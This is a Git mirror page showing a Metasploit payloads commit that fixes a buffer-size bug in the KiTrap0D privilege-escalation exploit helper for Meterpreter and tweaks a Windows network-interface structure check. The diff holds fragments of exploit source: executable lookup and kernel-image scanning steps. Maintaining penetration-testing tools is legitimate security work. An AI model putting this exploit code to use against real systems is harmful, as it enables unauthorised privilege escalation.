github/metasploit-payloads
1
Fork 0
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-30 22:19:17 +02:00
Code Releases Activity

Resolve PR conflict

Browse Source 
Conflicts:
	.gitignore
This commit is contained in:
Tod Beardsley 2013-10-16 09:39:47 -05:00
commit 1fc10a8664
2 changed files with 16 additions and 12 deletions
c/meterpreter/source/extensions
priv/server/elevate
kitrap0d.c
stdapi/server/net/config
interface.c

16
c/meterpreter/source/extensions/priv/server/elevate/kitrap0d.c

@ -192,7 +192,7 @@ BOOL kitrap0d_spawn_ntvdm( char * cpProgram, HANDLE * hProcess )
/* /*
* Find a suitable exe to host the exploit in. * Find a suitable exe to host the exploit in.
*/ */
BOOL elevate_via_exploit_getpath( char cpOutput[MAX_PATH], DWORD dwOutputLength ) BOOL elevate_via_exploit_getpath( char *cpOutput, DWORD dwOutputSize )
{ {
DWORD dwResult = ERROR_SUCCESS; DWORD dwResult = ERROR_SUCCESS;
char cWinDir[MAX_PATH] = {0}; char cWinDir[MAX_PATH] = {0};
@ -213,17 +213,19 @@ BOOL elevate_via_exploit_getpath( char cpOutput[MAX_PATH], DWORD dwOutputLength
if( !cpFileName ) if( !cpFileName )
break; break;
if( cWinDir[ strlen(cWinDir) - 1 ] == '\\' ) if ( _snprintf_s( cpOutput, dwOutputSize, dwOutputSize - 1, "%s%s%s", cWinDir,
_snprintf_s( cpOutput, sizeof(cpOutput), dwOutputLength, "%s%s", cWinDir, cpFileName ); cWinDir[ strlen(cWinDir) - 1 ] == '\\' ? "" : "\\", cpFileName ) == -1 )
else {
_snprintf_s( cpOutput, sizeof(cpOutput), dwOutputLength, "%s\\%s", cWinDir, cpFileName ); dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Path truncation: %s", cpOutput );
break;
}
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput ); dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );
if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES ) if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
return TRUE; return TRUE;
memset( cpOutput, 0, dwOutputLength ); memset( cpOutput, 0, dwOutputSize );
dwIndex++; dwIndex++;
} }
@ -266,7 +268,7 @@ DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. invalid arguments", ERROR_BAD_ARGUMENTS ); BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. invalid arguments", ERROR_BAD_ARGUMENTS );
// 1. first get a file path to a suitable exe... // 1. first get a file path to a suitable exe...
if( !elevate_via_exploit_getpath( (char *)&cVdmPath, MAX_PATH ) ) if( !elevate_via_exploit_getpath( cVdmPath, MAX_PATH ) )
BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND ); BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND );
// 2. Scan kernel image for the required code sequence, and find the base address... // 2. Scan kernel image for the required code sequence, and find the base address...

12
c/meterpreter/source/extensions/stdapi/server/net/config/interface.c

@ -182,10 +182,11 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian; entries[tlv_cnt].buffer = (PUCHAR)&mtu_bigendian;
tlv_cnt++; tlv_cnt++;
if (pCurr->Length > 68) { // According to http://msdn.microsoft.com/en-us/library/windows/desktop/aa366058(v=vs.85).aspx
// Then this is a Longhorn struct version and it contains the // the PIP_ADAPTER_PREFIX doesn't exist prior to XP SP1. We check for this via the `Length`
// FirstPrefix member, save it for later in case we don't have // value, which is 72 in XP without an SP, but 144 in later versions.
// an OnLinkPrefixLength if (pCurr->Length > 72) {
// Save the first prefix for later in case we don't have an OnLinkPrefixLength
pPrefix = pCurr->FirstPrefix; pPrefix = pCurr->FirstPrefix;
} }
@ -210,7 +211,8 @@ DWORD get_interfaces_windows(Remote *remote, Packet *response) {
// will be populated // will be populated
prefixes[prefixes_cnt] = htonl(pAddr->OnLinkPrefixLength); prefixes[prefixes_cnt] = htonl(pAddr->OnLinkPrefixLength);
} }
if (pPrefix && 0 == prefixes[prefixes_cnt]) {
if (pPrefix && 0 == prefixes[prefixes_cnt] ) {
// Otherwise, we have to walk the FirstPrefix linked list // Otherwise, we have to walk the FirstPrefix linked list
prefixes[prefixes_cnt] = htonl(pPrefix->PrefixLength); prefixes[prefixes_cnt] = htonl(pPrefix->PrefixLength);
pPrefix = pPrefix->Next; pPrefix = pPrefix->Next;